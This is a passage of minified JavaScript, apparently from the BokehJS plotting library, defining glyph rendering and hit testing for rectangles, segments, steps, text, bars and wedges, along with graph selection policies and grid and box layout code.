x=Math.sin(-this._angle[s]),w=Math.cos(-this._angle[s]),k=w*(e-this.sx[s])-x*(i-this.sy[s])+this.sx[s],S=x*(e-this.sx[s])+w*(i-this.sy[s])+this.sy[s];e=k,i=S,b=Math.abs(this.sx[s]-e)<=this.sw[s]/2,y=Math.abs(this.sy[s]-i)<=this.sh[s]/2}else b=e-this.sx0[s]<=this.sw[s]&&0<=e-this.sx0[s],y=i-this.sy1[s]<=this.sh[s]&&0<=i-this.sy1[s];y&&b&&f.push(s)}var C=T.create_empty_hit_test_result();return C.indices=f,C},e.prototype._map_dist_corner_for_data_side_length=function(t,e,i){for(var n=t.length,r=new Float64Array(n),o=new Float64Array(n),s=0;s<n;s++)r[s]=Number(t[s])-e[s]/2,o[s]=Number(t[s])+e[s]/2;for(var a=i.v_compute(r),l=i.v_compute(o),h=this.sdist(i,r,e,\\\"edge\\\",this.model.dilate),u=a,s=0,c=a.length;s<c;s++)if(a[s]!=l[s]){u=a[s]<l[s]?a:l;break}return[h,u]},e.prototype._ddist=function(t,e,i){for(var n=0==t?this.renderer.xscale:this.renderer.yscale,r=e,o=r.length,s=new Float64Array(o),a=0;a<o;a++)s[a]=r[a]+i[a];for(var l=n.v_invert(r),h=n.v_invert(s),u=l.length,c=new Float64Array(u),a=0;a<u;a++)c[a]=Math.abs(h[a]-l[a]);return c},e.prototype.draw_legend_for_index=function(t,e,i){o.generic_area_legend(this.visuals,t,e,i)},e.prototype._bounds=function(t){var e=t.minX,i=t.maxX,n=t.minY,r=t.maxY;return{minX:e-this.max_w2,maxX:i+this.max_w2,minY:n-this.max_h2,maxY:r+this.max_h2}},e}(r.CenterRotatableView);i.RectView=a;var l=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Rect\\\",this.prototype.default_view=a,this.define({dilate:[s.Bool,!1]})},t}(r.CenterRotatable);(i.Rect=l).initClass()},function(t,e,i){var n=t(391),k=t(9),a=t(37),r=t(123),o=t(143),s=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype._index_data=function(){for(var t=[],e=0,i=this._x0.length;e<i;e++){var n=this._x0[e],r=this._x1[e],o=this._y0[e],s=this._y1[e];isNaN(n+r+o+s)||t.push({minX:Math.min(n,r),minY:Math.min(o,s),maxX:Math.max(n,r),maxY:Math.max(o,s),i:e})}return new a.SpatialIndex(t)},e.prototype._render=function(t,e,i){var n=i.sx0,r=i.sy0,o=i.sx1,s=i.sy1;if(this.visuals.line.doit)for(var a=0,l=e;a<l.length;a++){var h=l[a];isNaN(n[h]+r[h]+o[h]+s[h])||(t.beginPath(),t.moveTo(n[h],r[h]),t.lineTo(o[h],s[h]),this.visuals.line.set_vectorize(t,h),t.stroke())}},e.prototype._hit_point=function(t){for(var e=t.sx,i=t.sy,n={x:e,y:i},r=[],o=this.renderer.xscale.r_invert(e-2,e+2),s=o[0],a=o[1],l=this.renderer.yscale.r_invert(i-2,i+2),h=l[0],u=l[1],c=this.index.indices({minX:s,minY:h,maxX:a,maxY:u}),_=0,p=c;_<p.length;_++){var d=p[_],f=Math.pow(Math.max(2,this.visuals.line.cache_select(\\\"line_width\\\",d)/2),2),v={x:this.sx0[d],y:this.sy0[d]},m={x:this.sx1[d],y:this.sy1[d]},g=k.dist_to_segment_squared(n,v,m);g<f&&r.push(d)}var y=k.create_empty_hit_test_result();return y.indices=r,y},e.prototype._hit_span=function(t){var e,i,n,r,o,s=this.renderer.plot_view.frame.bbox.ranges,a=s[0],l=s[1],h=t.sx,u=t.sy;\\\"v\\\"==t.direction?(o=this.renderer.yscale.invert(u),e=[this._y0,this._y1],n=e[0],r=e[1]):(o=this.renderer.xscale.invert(h),i=[this._x0,this._x1],n=i[0],r=i[1]);for(var c=[],_=this.renderer.xscale.r_invert(a.start,a.end),p=_[0],d=_[1],f=this.renderer.yscale.r_invert(l.start,l.end),v=f[0],m=f[1],g=this.index.indices({minX:p,minY:v,maxX:d,maxY:m}),y=0,b=g;y<b.length;y++){var x=b[y];(n[x]<=o&&o<=r[x]||r[x]<=o&&o<=n[x])&&c.push(x)}var w=k.create_empty_hit_test_result();return w.indices=c,w},e.prototype.scenterx=function(t){return(this.sx0[t]+this.sx1[t])/2},e.prototype.scentery=function(t){return(this.sy0[t]+this.sy1[t])/2},e.prototype.draw_legend_for_index=function(t,e,i){o.generic_line_legend(this.visuals,t,e,i)},e}(r.GlyphView);i.SegmentView=s;var l=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Segment\\\",this.prototype.default_view=s,this.coords([[\\\"x0\\\",\\\"y0\\\"],[\\\"x1\\\",\\\"y1\\\"]]),this.mixins([\\\"line\\\"])},t}(r.Glyph);(i.Segment=l).initClass()},function(t,e,i){var n=t(391),r=t(146),o=t(143),s=t(15),a=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype._render=function(t,e,i){var n,r,o,s,a,l,h=i.sx,u=i.sy,c=!1,_=null;this.visuals.line.set_value(t);var p=e.length;if(!(p<2)){t.beginPath(),t.moveTo(h[0],u[0]);for(var d=0,f=e;d<f.length;d++){var v=f[d],m=void 0,g=void 0,y=void 0,b=void 0;switch(this.model.mode){case\\\"before\\\":n=[h[v-1],u[v]],m=n[0],y=n[1],r=[h[v],u[v]],g=r[0],b=r[1];break;case\\\"after\\\":o=[h[v],u[v-1]],m=o[0],y=o[1],s=[h[v],u[v]],g=s[0],b=s[1];break;case\\\"center\\\":var x=(h[v-1]+h[v])/2;a=[x,u[v-1]],m=a[0],y=a[1],l=[x,u[v]],g=l[0],b=l[1];break;default:throw new Error(\\\"unexpected\\\")}if(c){if(!isFinite(h[v]+u[v])){t.stroke(),t.beginPath(),c=!1,_=v;continue}null!=_&&1<v-_&&(t.stroke(),c=!1)}c?(t.lineTo(m,y),t.lineTo(g,b)):(t.beginPath(),t.moveTo(h[v],u[v]),c=!0),_=v}t.lineTo(h[p-1],u[p-1]),t.stroke()}},e.prototype.draw_legend_for_index=function(t,e,i){o.generic_line_legend(this.visuals,t,e,i)},e}(r.XYGlyphView);i.StepView=a;var l=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Step\\\",this.prototype.default_view=a,this.mixins([\\\"line\\\"]),this.define({mode:[s.StepMode,\\\"before\\\"]})},t}(r.XYGlyph);(i.Step=l).initClass()},function(t,e,i){var n=t(391),r=t(146),d=t(9),o=t(15),O=t(41),s=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype._rotate_point=function(t,e,i,n,r){var o=(t-i)*Math.cos(r)-(e-n)*Math.sin(r)+i,s=(t-i)*Math.sin(r)+(e-n)*Math.cos(r)+n;return[o,s]},e.prototype._text_bounds=function(t,e,i,n){var r=[t,t+i,t+i,t,t],o=[e,e,e-n,e-n,e];return[r,o]},e.prototype._render=function(t,e,i){var n=i.sx,r=i.sy,o=i._x_offset,s=i._y_offset,a=i._angle,l=i._text;this._sys=[],this._sxs=[];for(var h=0,u=e;h<u.length;h++){var c=u[h];if(!isNaN(n[c]+r[c]+o[c]+s[c]+a[c])&&null!=l[c]&&(this._sxs[c]=[],this._sys[c]=[],this.visuals.text.doit)){var _=\\\"\\\"+l[c];t.save(),t.translate(n[c]+o[c],r[c]+s[c]),t.rotate(a[c]),this.visuals.text.set_vectorize(t,c);var p=this.visuals.text.cache_select(\\\"font\\\",c),d=O.get_text_height(p).height,f=this.visuals.text.text_line_height.value()*d;if(-1==_.indexOf(\\\"\\\\n\\\")){t.fillText(_,0,0);var v=n[c]+o[c],m=r[c]+s[c],g=t.measureText(_).width,y=this._text_bounds(v,m,g,f),b=y[0],x=y[1];this._sxs[c].push(b),this._sys[c].push(x)}else{var w=_.split(\\\"\\\\n\\\"),k=f*w.length,S=this.visuals.text.cache_select(\\\"text_baseline\\\",c),C=void 0;switch(S){case\\\"top\\\":C=0;break;case\\\"middle\\\":C=-k/2+f/2;break;case\\\"bottom\\\":C=-k+f;break;default:C=0,console.warn(\\\"'\\\"+S+\\\"' baseline not supported with multi line text\\\")}for(var T=0,A=w;T<A.length;T++){var E=A[T];t.fillText(E,0,C);var v=n[c]+o[c],m=C+r[c]+s[c],g=t.measureText(E).width,M=this._text_bounds(v,m,g,f),b=M[0],x=M[1];this._sxs[c].push(b),this._sys[c].push(x),C+=f}}t.restore()}}},e.prototype._hit_point=function(t){for(var e=t.sx,i=t.sy,n=[],r=0;r<this._sxs.length;r++)for(var o=this._sxs[r],s=this._sys[r],a=o.length,l=0,h=a;l<h;l++){var u=this._rotate_point(e,i,o[a-1][0],s[a-1][0],-this._angle[r]),c=u[0],_=u[1];d.point_in_poly(c,_,o[l],s[l])&&n.push(r)}var p=d.create_empty_hit_test_result();return p.indices=n,p},e.prototype._scenterxy=function(t){var e=this._sxs[t][0][0],i=this._sys[t][0][0],n=(this._sxs[t][0][2]+e)/2,r=(this._sys[t][0][2]+i)/2,o=this._rotate_point(n,r,e,i,this._angle[t]),s=o[0],a=o[1];return{x:s,y:a}},e.prototype.scenterx=function(t){return this._scenterxy(t).x},e.prototype.scentery=function(t){return this._scenterxy(t).y},e}(r.XYGlyphView);i.TextView=s;var a=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Text\\\",this.prototype.default_view=s,this.mixins([\\\"text\\\"]),this.define({text:[o.StringSpec,{field:\\\"text\\\"}],angle:[o.AngleSpec,0],x_offset:[o.NumberSpec,0],y_offset:[o.NumberSpec,0]})},t}(r.XYGlyph);(i.Text=a).initClass()},function(t,e,i){var x=t(9);i.generic_line_legend=function(t,e,i,n){var r=i.x0,o=i.x1,s=i.y0,a=i.y1;e.save(),e.beginPath(),e.moveTo(r,(s+a)/2),e.lineTo(o,(s+a)/2),t.line.doit&&(t.line.set_vectorize(e,n),e.stroke()),e.restore()},i.generic_area_legend=function(t,e,i,n){var r=i.x0,o=i.x1,s=i.y0,a=i.y1,l=.1*Math.abs(o-r),h=.1*Math.abs(a-s),u=r+l,c=o-l,_=s+h,p=a-h;t.fill.doit&&(t.fill.set_vectorize(e,n),e.fillRect(u,_,c-u,p-_)),t.line.doit&&(e.beginPath(),e.rect(u,_,c-u,p-_),t.line.set_vectorize(e,n),e.stroke())},i.line_interpolation=function(t,e,i,n,r,o){var s,a,l,h,u,c,_,p,d,f,v=e.sx,m=e.sy;\\\"point\\\"==e.type?(s=t.yscale.r_invert(m-1,m+1),d=s[0],f=s[1],a=t.xscale.r_invert(v-1,v+1),_=a[0],p=a[1]):\\\"v\\\"==e.direction?(l=t.yscale.r_invert(m,m),d=l[0],f=l[1],h=[Math.min(i-1,r-1),Math.max(i+1,r+1)],_=h[0],p=h[1]):(u=t.xscale.r_invert(v,v),_=u[0],p=u[1],c=[Math.min(n-1,o-1),Math.max(n+1,o+1)],d=c[0],f=c[1]);var g=x.check_2_segments_intersect(_,d,p,f,i,n,r,o),y=g.x,b=g.y;return[y,b]}},function(t,e,i){var n=t(391),r=t(118),o=t(15),s=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype.scenterx=function(t){return this.sx[t]},e.prototype.scentery=function(t){return(this.stop[t]+this.sbottom[t])/2},e.prototype._index_data=function(){return this._index_box(this._x.length)},e.prototype._lrtb=function(t){var e=this._x[t]-this._width[t]/2,i=this._x[t]+this._width[t]/2,n=Math.max(this._top[t],this._bottom[t]),r=Math.min(this._top[t],this._bottom[t]);return[e,i,n,r]},e.prototype._map_data=function(){this.sx=this.renderer.xscale.v_compute(this._x),this.sw=this.sdist(this.renderer.xscale,this._x,this._width,\\\"center\\\"),this.stop=this.renderer.yscale.v_compute(this._top),this.sbottom=this.renderer.yscale.v_compute(this._bottom);var t=this.sx.length;this.sleft=new Float64Array(t),this.sright=new Float64Array(t);for(var e=0;e<t;e++)this.sleft[e]=this.sx[e]-this.sw[e]/2,this.sright[e]=this.sx[e]+this.sw[e]/2;this._clamp_viewport()},e}(r.BoxView);i.VBarView=s;var a=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"VBar\\\",this.prototype.default_view=s,this.coords([[\\\"x\\\",\\\"bottom\\\"]]),this.define({width:[o.DistanceSpec],top:[o.NumberSpec]}),this.override({bottom:0})},t}(r.Box);(i.VBar=a).initClass()},function(t,e,i){var n=t(391),r=t(146),o=t(143),P=t(9),s=t(15),j=t(31),a=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype._map_data=function(){\\\"data\\\"==this.model.properties.radius.units?this.sradius=this.sdist(this.renderer.xscale,this._x,this._radius):this.sradius=this._radius},e.prototype._render=function(t,e,i){for(var n=i.sx,r=i.sy,o=i.sradius,s=i._start_angle,a=i._end_angle,l=this.model.properties.direction.value(),h=0,u=e;h<u.length;h++){var c=u[h];isNaN(n[c]+r[c]+o[c]+s[c]+a[c])||(t.beginPath(),t.arc(n[c],r[c],o[c],s[c],a[c],l),t.lineTo(n[c],r[c]),t.closePath(),this.visuals.fill.doit&&(this.visuals.fill.set_vectorize(t,c),t.fill()),this.visuals.line.doit&&(this.visuals.line.set_vectorize(t,c),t.stroke()))}},e.prototype._hit_point=function(t){var e,i,n,r,o,s,a,l,h,u,c,_,p,d=t.sx,f=t.sy,v=this.renderer.xscale.invert(d),m=this.renderer.yscale.invert(f),g=2*this.max_radius;\\\"data\\\"===this.model.properties.radius.units?(u=v-g,c=v+g,_=m-g,p=m+g):(s=d-g,a=d+g,e=this.renderer.xscale.r_invert(s,a),u=e[0],c=e[1],l=f-g,h=f+g,i=this.renderer.yscale.r_invert(l,h),_=i[0],p=i[1]);for(var y=[],b=P.validate_bbox_coords([u,c],[_,p]),x=0,w=this.index.indices(b);x<w.length;x++){var k=w[x],S=Math.pow(this.sradius[k],2);n=this.renderer.xscale.r_compute(v,this._x[k]),s=n[0],a=n[1],r=this.renderer.yscale.r_compute(m,this._y[k]),l=r[0],h=r[1],(o=Math.pow(s-a,2)+Math.pow(l-h,2))<=S&&y.push([k,o])}for(var C=this.model.properties.direction.value(),T=[],A=0,E=y;A<E.length;A++){var M=E[A],k=M[0],O=M[1],z=Math.atan2(f-this.sy[k],d-this.sx[k]);j.angle_between(-z,-this._start_angle[k],-this._end_angle[k],C)&&T.push([k,O])}return P.create_hit_test_result_from_hits(T)},e.prototype.draw_legend_for_index=function(t,e,i){o.generic_area_legend(this.visuals,t,e,i)},e.prototype._scenterxy=function(t){var e=this.sradius[t]/2,i=(this._start_angle[t]+this._end_angle[t])/2;return{x:this.sx[t]+e*Math.cos(i),y:this.sy[t]+e*Math.sin(i)}},e.prototype.scenterx=function(t){return this._scenterxy(t).x},e.prototype.scentery=function(t){return this._scenterxy(t).y},e}(r.XYGlyphView);i.WedgeView=a;var l=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Wedge\\\",this.prototype.default_view=a,this.mixins([\\\"line\\\",\\\"fill\\\"]),this.define({direction:[s.Direction,\\\"anticlock\\\"],radius:[s.DistanceSpec],start_angle:[s.AngleSpec],end_angle:[s.AngleSpec]})},t}(r.XYGlyph);(i.Wedge=l).initClass()},function(t,e,i){var n=t(391),o=t(37),r=t(123),s=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype._index_data=function(){for(var t=[],e=0,i=this._x.length;e<i;e++){var n=this._x[e],r=this._y[e];!isNaN(n+r)&&isFinite(n+r)&&t.push({minX:n,minY:r,maxX:n,maxY:r,i:e})}return new o.SpatialIndex(t)},e.prototype.scenterx=function(t){return this.sx[t]},e.prototype.scentery=function(t){return this.sy[t]},e}(r.GlyphView);i.XYGlyphView=s;var a=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"XYGlyph\\\",this.coords([[\\\"x\\\",\\\"y\\\"]])},t}(r.Glyph);(i.XYGlyph=a).initClass()},function(t,e,i){var n=t(391),r=t(59),u=t(22),c=t(21),_=t(9),o=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"GraphHitTestPolicy\\\"},t.prototype._hit_test_nodes=function(t,e){if(!e.model.visible)return null;var i=e.node_view.glyph.hit_test(t);return null==i?null:e.node_view.model.view.convert_selection_from_subset(i)},t.prototype._hit_test_edges=function(t,e){if(!e.model.visible)return null;var i=e.edge_view.glyph.hit_test(t);return null==i?null:e.edge_view.model.view.convert_selection_from_subset(i)},t}(r.Model),s=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"NodesOnly\\\"},t.prototype.hit_test=function(t,e){return this._hit_test_nodes(t,e)},t.prototype.do_selection=function(t,e,i,n){if(null==t)return!1;var r=e.node_renderer.data_source.selected;return r.update(t,i,n),e.node_renderer.data_source._select.emit(),!r.is_empty()},t.prototype.do_inspection=function(t,e,i,n,r){if(null==t)return!1;var o=i.model.get_selection_manager().get_or_create_inspector(i.node_view.model);return o.update(t,n,r),i.node_view.model.data_source.setv({inspected:o},{silent:!0}),i.node_view.model.data_source.inspect.emit([i.node_view,{geometry:e}]),!o.is_empty()},t}(i.GraphHitTestPolicy=o);(i.NodesOnly=s).initClass();var a=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"NodesAndLinkedEdges\\\"},t.prototype.hit_test=function(t,e){return this._hit_test_nodes(t,e)},t.prototype.get_linked_edges=function(e,t,i){var n=[];\\\"selection\\\"==i?n=e.selected.indices.map(function(t){return e.data.index[t]}):\\\"inspection\\\"==i&&(n=e.inspected.indices.map(function(t){return e.data.index[t]}));for(var r=[],o=0;o<t.data.start.length;o++)(c.contains(n,t.data.start[o])||c.contains(n,t.data.end[o]))&&r.push(o);for(var s=_.create_empty_hit_test_result(),a=0,l=r;a<l.length;a++){var o=l[a];s.multiline_indices[o]=[0]}return s.indices=r,s},t.prototype.do_selection=function(t,e,i,n){if(null==t)return!1;var r=e.node_renderer.data_source.selected;r.update(t,i,n);var o=e.edge_renderer.data_source.selected,s=this.get_linked_edges(e.node_renderer.data_source,e.edge_renderer.data_source,\\\"selection\\\");return o.update(s,i,n),e.node_renderer.data_source._select.emit(),!r.is_empty()},t.prototype.do_inspection=function(t,e,i,n,r){if(null==t)return!1;var o=i.node_view.model.data_source.selection_manager.get_or_create_inspector(i.node_view.model);o.update(t,n,r),i.node_view.model.data_source.setv({inspected:o},{silent:!0});var s=i.edge_view.model.data_source.selection_manager.get_or_create_inspector(i.edge_view.model),a=this.get_linked_edges(i.node_view.model.data_source,i.edge_view.model.data_source,\\\"inspection\\\");return s.update(a,n,r),i.edge_view.model.data_source.setv({inspected:s},{silent:!0}),i.node_view.model.data_source.inspect.emit([i.node_view,{geometry:e}]),!o.is_empty()},t}(o);(i.NodesAndLinkedEdges=a).initClass();var l=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"EdgesAndLinkedNodes\\\"},t.prototype.hit_test=function(t,e){return this._hit_test_edges(t,e)},t.prototype.get_linked_nodes=function(e,t,i){var n=[];\\\"selection\\\"==i?n=t.selected.indices:\\\"inspection\\\"==i&&(n=t.inspected.indices);for(var r=[],o=0,s=n;o<s.length;o++){var a=s[o];r.push(t.data.start[a]),r.push(t.data.end[a])}var l=c.uniq(r).map(function(t){return u.indexOf(e.data.index,t)}),h=_.create_empty_hit_test_result();return h.indices=l,h},t.prototype.do_selection=function(t,e,i,n){if(null==t)return!1;var r=e.edge_renderer.data_source.selected;r.update(t,i,n);var o=e.node_renderer.data_source.selected,s=this.get_linked_nodes(e.node_renderer.data_source,e.edge_renderer.data_source,\\\"selection\\\");return o.update(s,i,n),e.edge_renderer.data_source._select.emit(),!r.is_empty()},t.prototype.do_inspection=function(t,e,i,n,r){if(null==t)return!1;var o=i.edge_view.model.data_source.selection_manager.get_or_create_inspector(i.edge_view.model);o.update(t,n,r),i.edge_view.model.data_source.setv({inspected:o},{silent:!0});var s=i.node_view.model.data_source.selection_manager.get_or_create_inspector(i.node_view.model),a=this.get_linked_nodes(i.node_view.model.data_source,i.edge_view.model.data_source,\\\"inspection\\\");return s.update(a,n,r),i.node_view.model.data_source.setv({inspected:s},{silent:!0}),i.edge_view.model.data_source.inspect.emit([i.edge_view,{geometry:e}]),!o.is_empty()},t}(o);(i.EdgesAndLinkedNodes=l).initClass()},function(t,e,i){var n=t(391);n.__exportStar(t(147),i),n.__exportStar(t(149),i),n.__exportStar(t(150),i)},function(t,e,i){var n=t(391),r=t(59),o=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"LayoutProvider\\\"},t}(r.Model);(i.LayoutProvider=o).initClass()},function(t,e,i){var n=t(391),r=t(149),o=t(15),s=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"StaticLayoutProvider\\\",this.define({graph_layout:[o.Any,{}]})},t.prototype.get_node_coordinates=function(t){for(var e=[],i=[],n=t.data.index,r=0,o=n.length;r<o;r++){var s=this.graph_layout[n[r]],a=null!=s?s:[NaN,NaN],l=a[0],h=a[1];e.push(l),i.push(h)}return[e,i]},t.prototype.get_edge_coordinates=function(t){for(var e,i,n=[],r=[],o=t.data.start,s=t.data.end,a=null!=t.data.xs&&null!=t.data.ys,l=0,h=o.length;l<h;l++){var u=null!=this.graph_layout[o[l]]&&null!=this.graph_layout[s[l]];if(a&&u)n.push(t.data.xs[l]),r.push(t.data.ys[l]);else{var c=void 0,_=void 0;u?(e=[this.graph_layout[o[l]],this.graph_layout[s[l]]],_=e[0],c=e[1]):(_=(i=[[NaN,NaN],[NaN,NaN]])[0],c=i[1]),n.push([_[0],c[0]]),r.push([_[1],c[1]])}}return[n,r]},t}(r.LayoutProvider);(i.StaticLayoutProvider=s).initClass()},function(t,e,i){var n=t(391),h=t(79),r=t(187),o=t(15),u=t(44),s=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return n.__extends(t,e),Object.defineProperty(t.prototype,\\\"_x_range_name\\\",{get:function(){return this.model.x_range_name},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"_y_range_name\\\",{get:function(){return this.model.y_range_name},enumerable:!0,configurable:!0}),t.prototype.render=function(){if(this.model.visible){var t=this.plot_view.canvas_view.ctx;t.save(),this._draw_regions(t),this._draw_minor_grids(t),this._draw_grids(t),t.restore()}},t.prototype.connect_signals=function(){var t=this;e.prototype.connect_signals.call(this),this.connect(this.model.change,function(){return t.request_render()})},t.prototype._draw_regions=function(t){if(this.visuals.band_fill.doit){var e=this.model.grid_coords(\\\"major\\\",!1),i=e[0],n=e[1];this.visuals.band_fill.set_value(t);for(var r=0;r<i.length-1;r++)if(r%2==1){var o=this.plot_view.map_to_screen(i[r],n[r],this._x_range_name,this._y_range_name),s=o[0],a=o[1],l=this.plot_view.map_to_screen(i[r+1],n[r+1],this._x_range_name,this._y_range_name),h=l[0],u=l[1];t.fillRect(s[0],a[0],h[1]-s[0],u[1]-a[0]),t.fill()}}},t.prototype._draw_grids=function(t){if(this.visuals.grid_line.doit){var e=this.model.grid_coords(\\\"major\\\"),i=e[0],n=e[1];this._draw_grid_helper(t,this.visuals.grid_line,i,n)}},t.prototype._draw_minor_grids=function(t){if(this.visuals.minor_grid_line.doit){var e=this.model.grid_coords(\\\"minor\\\"),i=e[0],n=e[1];this._draw_grid_helper(t,this.visuals.minor_grid_line,i,n)}},t.prototype._draw_grid_helper=function(t,e,i,n){e.set_value(t);for(var r=0;r<i.length;r++){var o=this.plot_view.map_to_screen(i[r],n[r],this._x_range_name,this._y_range_name),s=o[0],a=o[1];t.beginPath(),t.moveTo(Math.round(s[0]),Math.round(a[0]));for(var l=1;l<s.length;l++)t.lineTo(Math.round(s[l]),Math.round(a[l]));t.stroke()}},t}(r.GuideRendererView);i.GridView=s;var a=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Grid\\\",this.prototype.default_view=s,this.mixins([\\\"line:grid_\\\",\\\"line:minor_grid_\\\",\\\"fill:band_\\\"]),this.define({bounds:[o.Any,\\\"auto\\\"],dimension:[o.Number,0],ticker:[o.Instance],x_range_name:[o.String,\\\"default\\\"],y_range_name:[o.String,\\\"default\\\"]}),this.override({level:\\\"underlay\\\",band_fill_color:null,band_fill_alpha:0,grid_line_color:\\\"#e5e5e5\\\",minor_grid_line_color:null})},t.prototype.ranges=function(){var t=this.dimension,e=(t+1)%2,i=this.plot.plot_canvas.frame,n=[i.x_ranges[this.x_range_name],i.y_ranges[this.y_range_name]];return[n[t],n[e]]},t.prototype.computed_bounds=function(){var t,e,i,n=this.ranges()[0],r=this.bounds,o=[n.min,n.max];if(u.isArray(r))e=Math.min(r[0],r[1]),i=Math.max(r[0],r[1]),e<o[0]&&(e=o[0]),o[1]<i&&(i=o[1]);else{e=o[0],i=o[1];for(var s=0,a=this.plot.select(h.Axis);s<a.length;s++){var l=a[s];l.dimension==this.dimension&&l.x_range_name==this.x_range_name&&l.y_range_name==this.y_range_name&&(t=l.computed_bounds,e=t[0],i=t[1])}}return[e,i]},t.prototype.grid_coords=function(t,e){var i;void 0===e&&(e=!0);var n=this.dimension,r=(n+1)%2,o=this.ranges(),s=o[0],a=o[1],l=this.computed_bounds(),h=l[0],u=l[1];i=[Math.min(h,u),Math.max(h,u)],h=i[0],u=i[1];var c=this.ticker.get_ticks(h,u,s,a.min,{})[t],_=s.min,p=s.max,d=a.min,f=a.max,v=[[],[]];e||(c[0]!=_&&c.splice(0,0,_),c[c.length-1]!=p&&c.push(p));for(var m=0;m<c.length;m++)if(c[m]!=_&&c[m]!=p||!e){for(var g=[],y=[],b=0;b<2;b++){var x=d+(f-d)/1*b;g.push(c[m]),y.push(x)}v[n].push(g),v[r].push(y)}return v},t}(r.GuideRenderer);(i.Grid=a).initClass()},function(t,e,i){var n=t(151);i.Grid=n.Grid},function(t,e,i){var n=t(391);n.__exportStar(t(66),i),n.__exportStar(t(83),i),n.__exportStar(t(89),i),n.__exportStar(t(93),i),n.__exportStar(t(96),i),n.__exportStar(t(102),i),n.__exportStar(t(108),i),n.__exportStar(t(129),i),n.__exportStar(t(148),i),n.__exportStar(t(152),i),n.__exportStar(t(156),i),n.__exportStar(t(166),i),n.__exportStar(t(274),i),n.__exportStar(t(171),i),n.__exportStar(t(176),i),n.__exportStar(t(182),i),n.__exportStar(t(188),i),n.__exportStar(t(191),i),n.__exportStar(t(195),i),n.__exportStar(t(204),i),n.__exportStar(t(214),i),n.__exportStar(t(224),i),n.__exportStar(t(260),i)},function(t,e,i){var n=t(391),p=t(13),r=t(15),s=t(21),o=t(157),a=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return n.__extends(t,e),t.prototype.connect_signals=function(){var t=this;e.prototype.connect_signals.call(this),this.connect(this.model.properties.children.change,function(){return t.rebuild_child_views()})},t.prototype.css_classes=function(){return e.prototype.css_classes.call(this).concat(\\\"bk-grid\\\")},t.prototype.get_height=function(){var t=this.model.get_layoutable_children(),e=t.map(function(t){return t._height.value});return this.model._horizontal?s.max(e):s.sum(e)},t.prototype.get_width=function(){var t=this.model.get_layoutable_children(),e=t.map(function(t){return t._width.value});return this.model._horizontal?s.sum(e):s.max(e)},t}(o.LayoutDOMView);i.BoxView=a;var l=function(_){function w(t){return _.call(this,t)||this}return n.__extends(w,_),w.initClass=function(){this.prototype.type=\\\"Box\\\",this.prototype.default_view=a,this.define({children:[r.Array,[]]}),this.internal({spacing:[r.Number,6]})},w.prototype.initialize=function(){_.prototype.initialize.call(this),this._child_equal_size_width=new p.Variable(this.toString()+\\\".child_equal_size_width\\\"),this._child_equal_size_height=new p.Variable(this.toString()+\\\".child_equal_size_height\\\"),this._box_equal_size_top=new p.Variable(this.toString()+\\\".box_equal_size_top\\\"),this._box_equal_size_bottom=new p.Variable(this.toString()+\\\".box_equal_size_bottom\\\"),this._box_equal_size_left=new p.Variable(this.toString()+\\\".box_equal_size_left\\\"),this._box_equal_size_right=new p.Variable(this.toString()+\\\".box_equal_size_right\\\"),this._box_cell_align_top=new p.Variable(this.toString()+\\\".box_cell_align_top\\\"),this._box_cell_align_bottom=new p.Variable(this.toString()+\\\".box_cell_align_bottom\\\"),this._box_cell_align_left=new p.Variable(this.toString()+\\\".box_cell_align_left\\\"),this._box_cell_align_right=new p.Variable(this.toString()+\\\".box_cell_align_right\\\")},w.prototype.get_layoutable_children=function(){return this.children},w.prototype.get_constrained_variables=function(){return n.__assign({},_.prototype.get_constrained_variables.call(this),{box_equal_size_top:this._box_equal_size_top,box_equal_size_bottom:this._box_equal_size_bottom,box_equal_size_left:this._box_equal_size_left,box_equal_size_right:this._box_equal_size_right,box_cell_align_top:this._box_cell_align_top,box_cell_align_bottom:this._box_cell_align_bottom,box_cell_align_left:this._box_cell_align_left,box_cell_align_right:this._box_cell_align_right})},w.prototype.get_constraints=function(){var i=_.prototype.get_constraints.call(this),t=function(){for(var t=[],e=0;e<arguments.length;e++)t[e]=arguments[e];i.push.apply(i,t)},e=this.get_layoutable_children();if(0==e.length)return i;for(var n=0,r=e;n<r.length;n++){var 